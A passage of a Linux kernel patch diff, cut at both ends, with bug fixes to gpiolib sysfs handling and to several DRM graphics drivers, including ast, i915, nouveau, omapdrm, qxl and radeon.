gpiod_export_link(struct device *dev, const char *name, if (tdev != NULL) { status = sysfs_create_link(&dev->kobj, &tdev->kobj, name); + put_device(tdev); } else { status = -ENODEV; } @@ -923,7 +937,7 @@ static int gpiod_sysfs_set_active_low(struct gpio_desc *desc, int value) } status = sysfs_set_active_low(desc, dev, value); - + put_device(dev); unlock: mutex_unlock(&sysfs_lock); @@ -971,6 +985,9 @@ static void gpiod_unexport(struct gpio_desc *desc) mutex_unlock(&sysfs_lock); if (dev) { + device_remove_file(dev, &dev_attr_edge); + device_remove_file(dev, &dev_attr_direction); + sysfs_remove_group(&dev->kobj, &gpio_attr_group); device_unregister(dev); put_device(dev); } @@ -1032,12 +1049,16 @@ static void gpiochip_unexport(struct gpio_chip *chip) { int status; struct device *dev; + struct gpio_desc *desc; + unsigned int i; mutex_lock(&sysfs_lock); dev = class_find_device(&gpio_class, NULL, chip, match_export); if (dev) { + sysfs_remove_group(&dev->kobj, &gpiochip_attr_group); put_device(dev); device_unregister(dev); + /* prevent further gpiod exports */ chip->exported = 0; status = 0; } else @@ -1047,6 +1068,13 @@ static void gpiochip_unexport(struct gpio_chip *chip) if (status) pr_debug("%s: chip %s status %d\n", __func__, chip->label, status); + + /* unregister gpiod class devices owned by sysfs */ + for (i = 0; i < chip->ngpio; i++) { + desc = &chip->desc[i]; + if (test_and_clear_bit(FLAG_SYSFS, &desc->flags)) + gpiod_free(desc); + } } static int __init gpiolib_sysfs_init(void) @@ -1258,6 +1286,8 @@ int gpiochip_remove(struct gpio_chip *chip) int status = 0; unsigned id; + gpiochip_unexport(chip); + spin_lock_irqsave(&gpio_lock, flags); gpiochip_remove_pin_ranges(chip); @@ -1278,9 +1308,6 @@ int gpiochip_remove(struct gpio_chip *chip) spin_unlock_irqrestore(&gpio_lock, flags); - if (status == 0) - gpiochip_unexport(chip); - return status; } EXPORT_SYMBOL_GPL(gpiochip_remove); diff --git a/drivers/gpu/drm/ast/ast_drv.h b/drivers/gpu/drm/ast/ast_drv.h index b6b7d70f28320..5cfc1765af748 100644 --- a/drivers/gpu/drm/ast/ast_drv.h +++ b/drivers/gpu/drm/ast/ast_drv.h @@ -296,6 +296,7 @@ int ast_framebuffer_init(struct drm_device *dev, int ast_fbdev_init(struct drm_device *dev); void ast_fbdev_fini(struct drm_device *dev); void ast_fbdev_set_suspend(struct drm_device *dev, int state); +void ast_fbdev_set_base(struct ast_private *ast, unsigned long gpu_addr); struct ast_bo { struct ttm_buffer_object bo; diff --git a/drivers/gpu/drm/ast/ast_fb.c b/drivers/gpu/drm/ast/ast_fb.c index fbc0823cfa18b..a298d8f72225c 100644 --- a/drivers/gpu/drm/ast/ast_fb.c +++ b/drivers/gpu/drm/ast/ast_fb.c @@ -366,3 +366,10 @@ void ast_fbdev_set_suspend(struct drm_device *dev, int state) fb_set_suspend(ast->fbdev->helper.fbdev, state); } + +void ast_fbdev_set_base(struct ast_private *ast, unsigned long gpu_addr) +{ + ast->fbdev->helper.fbdev->fix.smem_start = + ast->fbdev->helper.fbdev->apertures->ranges[0].base + gpu_addr; + ast->fbdev->helper.fbdev->fix.smem_len = ast->vram_size - gpu_addr; +} diff --git a/drivers/gpu/drm/ast/ast_main.c b/drivers/gpu/drm/ast/ast_main.c index f60fd7bd11839..62834322b3378 100644 --- a/drivers/gpu/drm/ast/ast_main.c +++ b/drivers/gpu/drm/ast/ast_main.c @@ -100,7 +100,7 @@ static int ast_detect_chip(struct drm_device *dev) } ast->vga2_clone = false; } else { - ast->chip = 2000; + ast->chip = AST2000; DRM_INFO("AST 2000 detected\n"); } } @@ -124,7 +124,7 @@ static int ast_get_dram_info(struct drm_device *dev) } while (ast_read32(ast, 0x10000) != 0x01); data = ast_read32(ast, 0x10004); - if (data & 0x400) + if (data & 0x40) ast->dram_bus_width = 16; else ast->dram_bus_width = 32; @@ -359,6 +359,7 @@ int ast_driver_load(struct drm_device *dev, unsigned long flags) dev->mode_config.min_height = 0; dev->mode_config.preferred_depth = 24; dev->mode_config.prefer_shadow = 1; + dev->mode_config.fb_base = pci_resource_start(ast->dev->pdev, 0); if (ast->chip == AST2100 || ast->chip == AST2200 || diff --git a/drivers/gpu/drm/ast/ast_mode.c b/drivers/gpu/drm/ast/ast_mode.c index 7fc9f7272b56e..f3a54ad77e3f5 100644 --- a/drivers/gpu/drm/ast/ast_mode.c +++ b/drivers/gpu/drm/ast/ast_mode.c @@ -509,6 +509,8 @@ static int ast_crtc_do_set_base(struct drm_crtc *crtc, ret = ttm_bo_kmap(&bo->bo, 0, bo->bo.num_pages, &bo->kmap); if (ret) DRM_ERROR("failed to kmap fbcon\n"); + else + ast_fbdev_set_base(ast, gpu_addr); } ast_bo_unreserve(bo); @@ -1012,8 +1014,8 @@ static u32 copy_cursor_image(u8 *src, u8 *dst, int width, int height) srcdata32[1].ul = *((u32 *)(srcxor + 4)) & 0xf0f0f0f0; data32.b[0] = srcdata32[0].b[1] | (srcdata32[0].b[0] >> 4); data32.b[1] = srcdata32[0].b[3] | (srcdata32[0].b[2] >> 4); - data32.b[2] = srcdata32[0].b[1] | (srcdata32[1].b[0] >> 4); - data32.b[3] = srcdata32[0].b[3] | (srcdata32[1].b[2] >> 4); + data32.b[2] = srcdata32[1].b[1] | (srcdata32[1].b[0] >> 4); + data32.b[3] = srcdata32[1].b[3] | (srcdata32[1].b[2] >> 4); writel(data32.ul, dstxor); csum += data32.ul; diff --git a/drivers/gpu/drm/drm_crtc.c b/drivers/gpu/drm/drm_crtc.c index 8759d699bd8e1..c24c356068368 100644 --- a/drivers/gpu/drm/drm_crtc.c +++ b/drivers/gpu/drm/drm_crtc.c @@ -1955,8 +1955,11 @@ int drm_mode_setcrtc(struct drm_device *dev, void *data, if (!drm_core_check_feature(dev, DRIVER_MODESET)) return -EINVAL; - /* For some reason crtc x/y offsets are signed internally. */ - if (crtc_req->x > INT_MAX || crtc_req->y > INT_MAX) + /* + * Universal plane src offsets are only 16.16, prevent havoc for + * drivers using universal plane code internally. + */ + if (crtc_req->x & 0xffff0000 || crtc_req->y & 0xffff0000) return -ERANGE; drm_modeset_lock_all(dev); diff --git a/drivers/gpu/drm/drm_fb_helper.c b/drivers/gpu/drm/drm_fb_helper.c index b78cbe74dadfa..93b74107d20dd 100644 --- a/drivers/gpu/drm/drm_fb_helper.c +++ b/drivers/gpu/drm/drm_fb_helper.c @@ -1313,7 +1313,6 @@ static int drm_pick_crtcs(struct drm_fb_helper *fb_helper, int n, int width, int height) { int c, o; - struct drm_device *dev = fb_helper->dev; struct drm_connector *connector; struct drm_connector_helper_funcs *connector_funcs; struct drm_encoder *encoder; @@ -1334,7 +1333,7 @@ static int drm_pick_crtcs(struct drm_fb_helper *fb_helper, if (modes[n] == NULL) return best_score; - crtcs = kzalloc(dev->mode_config.num_connector * + crtcs = kzalloc(fb_helper->connector_count * sizeof(struct drm_fb_helper_crtc *), GFP_KERNEL); if (!crtcs) return best_score; @@ -1381,7 +1380,7 @@ static int drm_pick_crtcs(struct drm_fb_helper *fb_helper, best_crtc = crtc; best_score = score; memcpy(best_crtcs, crtcs, - dev->mode_config.num_connector * + fb_helper->connector_count * sizeof(struct drm_fb_helper_crtc *)); } } diff --git a/drivers/gpu/drm/drm_lock.c b/drivers/gpu/drm/drm_lock.c index d752c96d60909..bdceb60998d35 100644 --- a/drivers/gpu/drm/drm_lock.c +++ b/drivers/gpu/drm/drm_lock.c @@ -58,6 +58,9 @@ int drm_lock(struct drm_device *dev, void *data, struct drm_file *file_priv) struct drm_master *master = file_priv->master; int ret = 0; + if (drm_core_check_feature(dev, DRIVER_MODESET)) + return -EINVAL; + ++file_priv->lock_count; if (lock->context == DRM_KERNEL_CONTEXT) { @@ -151,6 +154,9 @@ int drm_unlock(struct drm_device *dev, void *data, struct drm_file *file_priv) struct drm_lock *lock = data; struct drm_master *master = file_priv->master; + if (drm_core_check_feature(dev, DRIVER_MODESET)) + return -EINVAL; + if (lock->context == DRM_KERNEL_CONTEXT) { DRM_ERROR("Process %d using kernel context %d\n", task_pid_nr(current), lock->context); diff --git a/drivers/gpu/drm/gma500/mdfld_dsi_pkg_sender.c b/drivers/gpu/drm/gma500/mdfld_dsi_pkg_sender.c index 489ffd2c66e5d..a3d37e4a84aef 100644 --- a/drivers/gpu/drm/gma500/mdfld_dsi_pkg_sender.c +++ b/drivers/gpu/drm/gma500/mdfld_dsi_pkg_sender.c @@ -85,7 +85,7 @@ static const char *const dsi_errors[] = { "RX Prot Violation", "HS Generic Write FIFO Full", "LP Generic Write FIFO Full", - "Generic Read Data Avail" + "Generic Read Data Avail", "Special Packet Sent", "Tearing Effect", }; diff --git a/drivers/gpu/drm/i915/i915_drv.h b/drivers/gpu/drm/i915/i915_drv.h index 47d8b68c50041..0ebe0c3f50744 100644 --- a/drivers/gpu/drm/i915/i915_drv.h +++ b/drivers/gpu/drm/i915/i915_drv.h @@ -1804,7 +1804,7 @@ void i915_teardown_sysfs(struct drm_device *dev_priv); /* intel_i2c.c */ extern int intel_setup_gmbus(struct drm_device *dev); extern void intel_teardown_gmbus(struct drm_device *dev); -extern inline bool intel_gmbus_is_port_valid(unsigned port) +static inline bool intel_gmbus_is_port_valid(unsigned port) { return (port >= GMBUS_PORT_SSC && port <= GMBUS_PORT_DPD); } @@ -1813,7 +1813,7 @@ extern struct i2c_adapter *intel_gmbus_get_adapter( struct drm_i915_private *dev_priv, unsigned port); extern void intel_gmbus_set_speed(struct i2c_adapter *adapter, int speed); extern void intel_gmbus_force_bit(struct i2c_adapter *adapter, bool force_bit); -extern inline bool intel_gmbus_is_forced_bit(struct i2c_adapter *adapter) +static inline bool intel_gmbus_is_forced_bit(struct i2c_adapter *adapter) { return container_of(adapter, struct intel_gmbus, adapter)->force_bit; } diff --git a/drivers/gpu/drm/i915/i915_gem.c b/drivers/gpu/drm/i915/i915_gem.c index 0a30088178b05..0b71a0aaf4fce 100644 --- a/drivers/gpu/drm/i915/i915_gem.c +++ b/drivers/gpu/drm/i915/i915_gem.c @@ -4449,7 +4449,7 @@ static bool mutex_is_locked_by(struct mutex *mutex, struct task_struct *task) if (!mutex_is_locked(mutex)) return false; -#if defined(CONFIG_SMP) || defined(CONFIG_DEBUG_MUTEXES) +#if defined(CONFIG_SMP) && !defined(CONFIG_DEBUG_MUTEXES) return mutex->owner == task; #else /* Since UP may be pre-empted, we cannot assume that we own the lock */ diff --git a/drivers/gpu/drm/i915/i915_reg.h b/drivers/gpu/drm/i915/i915_reg.h index 2d90f96c19d02..35287ab445cd9 100644 --- a/drivers/gpu/drm/i915/i915_reg.h +++ b/drivers/gpu/drm/i915/i915_reg.h @@ -317,6 +317,7 @@ #define PIPE_CONTROL_GLOBAL_GTT_IVB (1<<24) /* gen7+ */ #define PIPE_CONTROL_CS_STALL (1<<20) #define PIPE_CONTROL_TLB_INVALIDATE (1<<18) +#define PIPE_CONTROL_MEDIA_STATE_CLEAR (1<<16) #define PIPE_CONTROL_QW_WRITE (1<<14) #define PIPE_CONTROL_DEPTH_STALL (1<<13) #define PIPE_CONTROL_WRITE_FLUSH (1<<12) @@ -908,6 +909,7 @@ #define GMBUS_CYCLE_INDEX (2<<25) #define GMBUS_CYCLE_STOP (4<<25) #define GMBUS_BYTE_COUNT_SHIFT 16 +#define GMBUS_BYTE_COUNT_MAX 256U #define GMBUS_SLAVE_INDEX_SHIFT 8 #define GMBUS_SLAVE_ADDR_SHIFT 1 #define GMBUS_SLAVE_READ (1<<0) diff --git a/drivers/gpu/drm/i915/intel_bios.c b/drivers/gpu/drm/i915/intel_bios.c index 95070b2124c6b..49acec1550460 100644 --- a/drivers/gpu/drm/i915/intel_bios.c +++ b/drivers/gpu/drm/i915/intel_bios.c @@ -657,7 +657,7 @@ init_vbt_defaults(struct drm_i915_private *dev_priv) DRM_DEBUG_KMS("Set default to SSC at %dMHz\n", dev_priv->lvds_ssc_freq); } -static int __init intel_no_opregion_vbt_callback(const struct dmi_system_id *id) +static int intel_no_opregion_vbt_callback(const struct dmi_system_id *id) { DRM_DEBUG_KMS("Falling back to manually reading VBT from " "VBIOS ROM for %s\n", diff --git a/drivers/gpu/drm/i915/intel_crt.c b/drivers/gpu/drm/i915/intel_crt.c index 4a809969c5ac5..53435a9d847e0 100644 --- a/drivers/gpu/drm/i915/intel_crt.c +++ b/drivers/gpu/drm/i915/intel_crt.c @@ -702,7 +702,7 @@ static const struct drm_encoder_funcs intel_crt_enc_funcs = { .destroy = intel_encoder_destroy, }; -static int __init intel_no_crt_dmi_callback(const struct dmi_system_id *id) +static int intel_no_crt_dmi_callback(const struct dmi_system_id *id) { DRM_INFO("Skipping CRT initialization for %s\n", id->ident); return 1; diff --git a/drivers/gpu/drm/i915/intel_i2c.c b/drivers/gpu/drm/i915/intel_i2c.c index 639fe192997cd..d5e666fb459c5 100644 --- a/drivers/gpu/drm/i915/intel_i2c.c +++ b/drivers/gpu/drm/i915/intel_i2c.c @@ -276,18 +276,17 @@ gmbus_wait_idle(struct drm_i915_private *dev_priv) } static int -gmbus_xfer_read(struct drm_i915_private *dev_priv, struct i2c_msg *msg, - u32 gmbus1_index) +gmbus_xfer_read_chunk(struct drm_i915_private *dev_priv, + unsigned short addr, u8 *buf, unsigned int len, + u32 gmbus1_index) { int reg_offset = dev_priv->gpio_mmio_base; - u16 len = msg->len; - u8 *buf = msg->buf; I915_WRITE(GMBUS1 + reg_offset, gmbus1_index | GMBUS_CYCLE_WAIT | (len << GMBUS_BYTE_COUNT_SHIFT) | - (msg->addr << GMBUS_SLAVE_ADDR_SHIFT) | + (addr << GMBUS_SLAVE_ADDR_SHIFT) | GMBUS_SLAVE_READ | GMBUS_SW_RDY); while (len) { int ret; @@ -309,11 +308,35 @@ gmbus_xfer_read(struct drm_i915_private *dev_priv, struct i2c_msg *msg, } static int -gmbus_xfer_write(struct drm_i915_private *dev_priv, struct i2c_msg *msg) +gmbus_xfer_read(struct drm_i915_private *dev_priv, struct i2c_msg *msg, + u32 gmbus1_index) { - int reg_offset = dev_priv->gpio_mmio_base; - u16 len = msg->len; u8 *buf = msg->buf; + unsigned int rx_size = msg->len; + unsigned int len; + int ret; + + do { + len = min(rx_size, GMBUS_BYTE_COUNT_MAX); + + ret = gmbus_xfer_read_chunk(dev_priv, msg->addr, + buf, len, gmbus1_index); + if (ret) + return ret; + + rx_size -= len; + buf += len; + } while (rx_size != 0); + + return 0; +} + +static int +gmbus_xfer_write_chunk(struct drm_i915_private *dev_priv, + unsigned short addr, u8 *buf, unsigned int len) +{ + int reg_offset = dev_priv->gpio_mmio_base; + unsigned int chunk_size = len; u32 val, loop; val = loop = 0; @@ -325,8 +348,8 @@ gmbus_xfer_write(struct drm_i915_private *dev_priv, struct i2c_msg *msg) I915_WRITE(GMBUS3 + reg_offset, val); I915_WRITE(GMBUS1 + reg_offset, GMBUS_CYCLE_WAIT | - (msg->len << GMBUS_BYTE_COUNT_SHIFT) | - (msg->addr << GMBUS_SLAVE_ADDR_SHIFT) | + (chunk_size << GMBUS_BYTE_COUNT_SHIFT) | + (addr << GMBUS_SLAVE_ADDR_SHIFT) | GMBUS_SLAVE_WRITE | GMBUS_SW_RDY); while (len) { int ret; @@ -343,6 +366,29 @@ gmbus_xfer_write(struct drm_i915_private *dev_priv, struct i2c_msg *msg) if (ret) return ret; } + + return 0; +} + +static int +gmbus_xfer_write(struct drm_i915_private *dev_priv, struct i2c_msg *msg) +{ + u8 *buf = msg->buf; + unsigned int tx_size = msg->len; + unsigned int len; + int ret; + + do { + len = min(tx_size, GMBUS_BYTE_COUNT_MAX); + + ret = gmbus_xfer_write_chunk(dev_priv, msg->addr, buf, len); + if (ret) + return ret; + + buf += len; + tx_size -= len; + } while (tx_size != 0); + return 0; } @@ -395,7 +441,7 @@ gmbus_xfer(struct i2c_adapter *adapter, struct intel_gmbus, adapter); struct drm_i915_private *dev_priv = bus->dev_priv; - int i, reg_offset; + int i = 0, inc, try = 0, reg_offset; int ret = 0; mutex_lock(&dev_priv->gmbus_mutex); @@ -407,12 +453,14 @@ gmbus_xfer(struct i2c_adapter *adapter, reg_offset = dev_priv->gpio_mmio_base; +retry: I915_WRITE(GMBUS0 + reg_offset, bus->reg0); - for (i = 0; i < num; i++) { + for (; i < num; i += inc) { + inc = 1; if (gmbus_is_index_read(msgs, i, num)) { ret = gmbus_xfer_index_read(dev_priv, &msgs[i]); - i += 1; /* set i to the index of the read xfer */ + inc = 2; /* an index read is two msgs */ } else if (msgs[i].flags & I2C_M_RD) { ret = gmbus_xfer_read(dev_priv, &msgs[i], 0); } else { @@ -484,6 +532,18 @@ gmbus_xfer(struct i2c_adapter *adapter, adapter->name, msgs[i].addr, (msgs[i].flags & I2C_M_RD) ? 'r' : 'w', msgs[i].len); + /* + * Passive adapters sometimes NAK the first probe. Retry the first + * message once on -ENXIO for GMBUS transfers; the bit banging algorithm + * has retries internally. See also the retry loop in + * drm_do_probe_ddc_edid, which bails out on the first -ENXIO. + */ + if (ret == -ENXIO && i == 0 && try++ == 0) { + DRM_DEBUG_KMS("GMBUS [%s] NAK on first message, retry\n", + adapter->name); + goto retry; + } + goto out; timeout: diff --git a/drivers/gpu/drm/i915/intel_lvds.c b/drivers/gpu/drm/i915/intel_lvds.c index f77d42f74427d..54ebfbe370c6f 100644 --- a/drivers/gpu/drm/i915/intel_lvds.c +++ b/drivers/gpu/drm/i915/intel_lvds.c @@ -694,7 +694,7 @@ static const struct drm_encoder_funcs intel_lvds_enc_funcs = { .destroy = intel_encoder_destroy, }; -static int __init intel_no_lvds_dmi_callback(const struct dmi_system_id *id) +static int intel_no_lvds_dmi_callback(const struct dmi_system_id *id) { DRM_INFO("Skipping LVDS initialization for %s\n", id->ident); return 1; @@ -1007,12 +1007,28 @@ static int intel_dual_link_lvds_callback(const struct dmi_system_id *id) static const struct dmi_system_id intel_dual_link_lvds[] = { { .callback = intel_dual_link_lvds_callback, - .ident = "Apple MacBook Pro (Core i5/i7 Series)", + .ident = "Apple MacBook Pro 15\" (2010)", + .matches = { + DMI_MATCH(DMI_SYS_VENDOR, "Apple Inc."), + DMI_MATCH(DMI_PRODUCT_NAME, "MacBookPro6,2"), + }, + }, + { + .callback = intel_dual_link_lvds_callback, + .ident = "Apple MacBook Pro 15\" (2011)", .matches = { DMI_MATCH(DMI_SYS_VENDOR, "Apple Inc."), DMI_MATCH(DMI_PRODUCT_NAME, "MacBookPro8,2"), }, }, + { + .callback = intel_dual_link_lvds_callback, + .ident = "Apple MacBook Pro 15\" (2012)", + .matches = { + DMI_MATCH(DMI_SYS_VENDOR, "Apple Inc."), + DMI_MATCH(DMI_PRODUCT_NAME, "MacBookPro9,1"), + }, + }, { } /* terminating entry */ }; @@ -1097,6 +1113,17 @@ bool intel_lvds_init(struct drm_device *dev) int pipe; u8 pin; + /* + * Unlock registers and just leave them unlocked. Do this before + * checking quirk lists to avoid bogus WARNINGs. + */ + if (HAS_PCH_SPLIT(dev)) { + I915_WRITE(PCH_PP_CONTROL, + I915_READ(PCH_PP_CONTROL) | PANEL_UNLOCK_REGS); + } else { + I915_WRITE(PP_CONTROL, + I915_READ(PP_CONTROL) | PANEL_UNLOCK_REGS); + } if (!intel_lvds_supported(dev)) return false; @@ -1280,17 +1307,6 @@ bool intel_lvds_init(struct drm_device *dev) DRM_DEBUG_KMS("detected %s-link lvds configuration\n", lvds_encoder->is_dual_link ? "dual" : "single"); - /* - * Unlock registers and just - * leave them unlocked - */ - if (HAS_PCH_SPLIT(dev)) { - I915_WRITE(PCH_PP_CONTROL, - I915_READ(PCH_PP_CONTROL) | PANEL_UNLOCK_REGS); - } else { - I915_WRITE(PP_CONTROL, - I915_READ(PP_CONTROL) | PANEL_UNLOCK_REGS); - } lvds_connector->lid_notifier.notifier_call = intel_lid_notify; if (acpi_lid_notifier_register(&lvds_connector->lid_notifier)) { DRM_DEBUG_KMS("lid notifier registration failed\n"); diff --git a/drivers/gpu/drm/i915/intel_ringbuffer.c b/drivers/gpu/drm/i915/intel_ringbuffer.c index 629527d205de8..ef4cde15c15c5 100644 --- a/drivers/gpu/drm/i915/intel_ringbuffer.c +++ b/drivers/gpu/drm/i915/intel_ringbuffer.c @@ -314,12 +314,15 @@ gen7_render_ring_flush(struct intel_ring_buffer *ring, flags |= PIPE_CONTROL_VF_CACHE_INVALIDATE; flags |= PIPE_CONTROL_CONST_CACHE_INVALIDATE; flags |= PIPE_CONTROL_STATE_CACHE_INVALIDATE; + flags |= PIPE_CONTROL_MEDIA_STATE_CLEAR; /* * TLB invalidate requires a post-sync write. */ flags |= PIPE_CONTROL_QW_WRITE; flags |= PIPE_CONTROL_GLOBAL_GTT_IVB; + flags |= PIPE_CONTROL_STALL_AT_SCOREBOARD; + /* Workaround: we must issue a pipe_control with CS-stall bit * set before a pipe_control command that has the state cache * invalidate bit set. */ @@ -396,6 +399,9 @@ static int init_ring_common(struct intel_ring_buffer *ring) } } + /* Enforce ordering by reading HEAD register back */ + I915_READ_HEAD(ring); + /* Initialize the ring. This must happen _after_ we've cleared the ring * registers with the above sequence (the readback of the HEAD registers * also enforces ordering), otherwise the hw might lose the new ring diff --git a/drivers/gpu/drm/i915/intel_tv.c b/drivers/gpu/drm/i915/intel_tv.c index a202d8d08c56a..7c4e3126df277 100644 --- a/drivers/gpu/drm/i915/intel_tv.c +++ b/drivers/gpu/drm/i915/intel_tv.c @@ -856,6 +856,10 @@ intel_enable_tv(struct intel_encoder *encoder) struct drm_device *dev = encoder->base.dev; struct drm_i915_private *dev_priv = dev->dev_private; + /* Prevents vblank waits from timing out in intel_tv_detect_type() */ + intel_wait_for_vblank(encoder->base.dev, + to_intel_crtc(encoder->base.crtc)->pipe); + I915_WRITE(TV_CTL, I915_READ(TV_CTL) | TV_ENC_ENABLE); } diff --git a/drivers/gpu/drm/mgag200/mgag200_mode.c b/drivers/gpu/drm/mgag200/mgag200_mode.c index f6341e8622eea..7bd2acce9f81f 100644 --- a/drivers/gpu/drm/mgag200/mgag200_mode.c +++ b/drivers/gpu/drm/mgag200/mgag200_mode.c @@ -1487,6 +1487,11 @@ static int mga_vga_mode_valid(struct drm_connector *connector, return MODE_BANDWIDTH; } + if ((mode->hdisplay % 8) != 0 || (mode->hsync_start % 8) != 0 || + (mode->hsync_end % 8) != 0 || (mode->htotal % 8) != 0) { + return MODE_H_ILLEGAL; + } + if (mode->crtc_hdisplay > 2048 || mode->crtc_hsync_start > 4096 || mode->crtc_hsync_end > 4096 || mode->crtc_htotal > 4096 || mode->crtc_vdisplay > 2048 || mode->crtc_vsync_start > 4096 || diff --git a/drivers/gpu/drm/nouveau/core/subdev/bios/dcb.c b/drivers/gpu/drm/nouveau/core/subdev/bios/dcb.c index 2d9b9d7a79921..f3edd2841f2df 100644 --- a/drivers/gpu/drm/nouveau/core/subdev/bios/dcb.c +++ b/drivers/gpu/drm/nouveau/core/subdev/bios/dcb.c @@ -124,6 +124,7 @@ dcb_outp_parse(struct nouveau_bios *bios, u8 idx, u8 *ver, u8 *len, struct dcb_output *outp) { u16 dcb = dcb_outp(bios, idx, ver, len); + memset(outp, 0x00, sizeof(*outp)); if (dcb) { if (*ver >= 0x20) { u32 conn = nv_ro32(bios, dcb + 0x00); diff --git a/drivers/gpu/drm/nouveau/nouveau_gem.c b/drivers/gpu/drm/nouveau/nouveau_gem.c index 5bccf31cc9749..4d41739fb50ab 100644 --- a/drivers/gpu/drm/nouveau/nouveau_gem.c +++ b/drivers/gpu/drm/nouveau/nouveau_gem.c @@ -177,11 +177,12 @@ nouveau_gem_info(struct drm_file *file_priv, struct drm_gem_object *gem, struct nouveau_bo *nvbo = nouveau_gem_object(gem); struct nouveau_vma *vma; - if (nvbo->bo.mem.mem_type == TTM_PL_TT) + if (is_power_of_2(nvbo->valid_domains)) + rep->domain = nvbo->valid_domains; + else if (nvbo->bo.mem.mem_type == TTM_PL_TT) rep->domain = NOUVEAU_GEM_DOMAIN_GART; else rep->domain = NOUVEAU_GEM_DOMAIN_VRAM; - rep->offset = nvbo->bo.offset; if (cli->base.vm) { vma = nouveau_bo_vma_find(nvbo, cli->base.vm); diff --git a/drivers/gpu/drm/omapdrm/omap_dmm_tiler.c b/drivers/gpu/drm/omapdrm/omap_dmm_tiler.c index 9b794c933c811..b5df614660a8f 100644 --- a/drivers/gpu/drm/omapdrm/omap_dmm_tiler.c +++ b/drivers/gpu/drm/omapdrm/omap_dmm_tiler.c @@ -199,7 +199,7 @@ static struct dmm_txn *dmm_txn_init(struct dmm *dmm, struct tcm *tcm) static void dmm_txn_append(struct dmm_txn *txn, struct pat_area *area, struct page **pages, uint32_t npages, uint32_t roll) { - dma_addr_t pat_pa = 0; + dma_addr_t pat_pa = 0, data_pa = 0; uint32_t *data; struct pat *pat; struct refill_engine *engine = txn->engine_handle; @@ -223,7 +223,9 @@ static void dmm_txn_append(struct dmm_txn *txn, struct pat_area *area, .lut_id = engine->tcm->lut_id, }; - data = alloc_dma(txn, 4*i, &pat->data_pa); + data = alloc_dma(txn, 4*i, &data_pa); + /* FIXME: what if data_pa is more than 32-bit ? */ + pat->data_pa = data_pa; while (i--) { int n = i + roll; diff --git a/drivers/gpu/drm/omapdrm/omap_gem.c b/drivers/gpu/drm/omapdrm/omap_gem.c index ebbdf4132e9cb..2272c66f18423 100644 --- a/drivers/gpu/drm/omapdrm/omap_gem.c +++ b/drivers/gpu/drm/omapdrm/omap_gem.c @@ -806,7 +806,7 @@ int omap_gem_get_paddr(struct drm_gem_object *obj, omap_obj->paddr = tiler_ssptr(block); omap_obj->block = block; - DBG("got paddr: %08x", omap_obj->paddr); + DBG("got paddr: %pad", &omap_obj->paddr); } omap_obj->paddr_cnt++; @@ -1004,9 +1004,9 @@ void omap_gem_describe(struct drm_gem_object *obj, struct seq_file *m) if (obj->map_list.map) off = (uint64_t)obj->map_list.hash.key; - seq_printf(m, "%08x: %2d (%2d) %08llx %08Zx (%2d) %p %4d", + seq_printf(m, "%08x: %2d (%2d) %08llx %pad (%2d) %p %4d", omap_obj->flags, obj->name, obj->refcount.refcount.counter, - off, omap_obj->paddr, omap_obj->paddr_cnt, + off, &omap_obj->paddr, omap_obj->paddr_cnt, omap_obj->vaddr, omap_obj->roll); if (omap_obj->flags & OMAP_BO_TILED) { @@ -1489,8 +1489,8 @@ void omap_gem_init(struct drm_device *dev) entry->paddr = tiler_ssptr(block); entry->block = block; - DBG("%d:%d: %dx%d: paddr=%08x stride=%d", i, j, w, h, - entry->paddr, + DBG("%d:%d: %dx%d: paddr=%pad stride=%d", i, j, w, h, + &entry->paddr, usergart[i].stride_pfn << PAGE_SHIFT); } } diff --git a/drivers/gpu/drm/omapdrm/omap_plane.c b/drivers/gpu/drm/omapdrm/omap_plane.c index 8d225d7ff4e30..6d01c2ad84286 100644 --- a/drivers/gpu/drm/omapdrm/omap_plane.c +++ b/drivers/gpu/drm/omapdrm/omap_plane.c @@ -146,8 +146,8 @@ static void omap_plane_pre_apply(struct omap_drm_apply *apply) DBG("%dx%d -> %dx%d (%d)", info->width, info->height, info->out_width, info->out_height, info->screen_width); - DBG("%d,%d %08x %08x", info->pos_x, info->pos_y, - info->paddr, info->p_uv_addr); + DBG("%d,%d %pad %pad", info->pos_x, info->pos_y, + &info->paddr, &info->p_uv_addr); /* TODO: */ ilace = false; diff --git a/drivers/gpu/drm/qxl/qxl_cmd.c b/drivers/gpu/drm/qxl/qxl_cmd.c index f86771481317b..5a48d7419baf4 100644 --- a/drivers/gpu/drm/qxl/qxl_cmd.c +++ b/drivers/gpu/drm/qxl/qxl_cmd.c @@ -500,6 +500,7 @@ int qxl_hw_surface_alloc(struct qxl_device *qdev, cmd = (struct qxl_surface_cmd *)qxl_release_map(qdev, release); cmd->type = QXL_SURFACE_CMD_CREATE; + cmd->flags = QXL_SURF_FLAG_KEEP_DATA; cmd->u.surface_create.format = surf->surf.format; cmd->u.surface_create.width = surf->surf.width; cmd->u.surface_create.height = surf->surf.height; diff --git a/drivers/gpu/drm/qxl/qxl_irq.c b/drivers/gpu/drm/qxl/qxl_irq.c index 21393dc4700a0..f4b6b89b98f3e 100644 --- a/drivers/gpu/drm/qxl/qxl_irq.c +++ b/drivers/gpu/drm/qxl/qxl_irq.c @@ -33,6 +33,9 @@ irqreturn_t qxl_irq_handler(DRM_IRQ_ARGS) pending = xchg(&qdev->ram_header->int_pending, 0); + if (!pending) + return IRQ_NONE; + atomic_inc(&qdev->irq_received); if (pending & QXL_INTERRUPT_DISPLAY) { diff --git a/drivers/gpu/drm/radeon/atombios_crtc.c b/drivers/gpu/drm/radeon/atombios_crtc.c index 971dd8795b689..8ac333094991d 100644 --- a/drivers/gpu/drm/radeon/atombios_crtc.c +++ b/drivers/gpu/drm/radeon/atombios_crtc.c @@ -312,8 +312,10 @@ atombios_set_crtc_dtd_timing(struct drm_crtc *crtc, misc |= ATOM_COMPOSITESYNC; if (mode->flags & DRM_MODE_FLAG_INTERLACE) misc |= ATOM_INTERLACE; - if (mode->flags & DRM_MODE_FLAG_DBLSCAN) + if (mode->flags & DRM_MODE_FLAG_DBLCLK) misc |= ATOM_DOUBLE_CLOCK_MODE; + if (mode->flags & DRM_MODE_FLAG_DBLSCAN) + misc |= ATOM_H_REPLICATIONBY2 | ATOM_V_REPLICATIONBY2; args.susModeMiscInfo.usAccess = cpu_to_le16(misc); args.ucCRTC = radeon_crtc->crtc_id; @@ -356,8 +358,10 @@ static void atombios_crtc_set_timing(struct drm_crtc *crtc, misc |= ATOM_COMPOSITESYNC; if (mode->flags & DRM_MODE_FLAG_INTERLACE) misc |= ATOM_INTERLACE; - if (mode->flags & DRM_MODE_FLAG_DBLSCAN) + if (mode->flags & DRM_MODE_FLAG_DBLCLK) misc |= ATOM_DOUBLE_CLOCK_MODE; + if 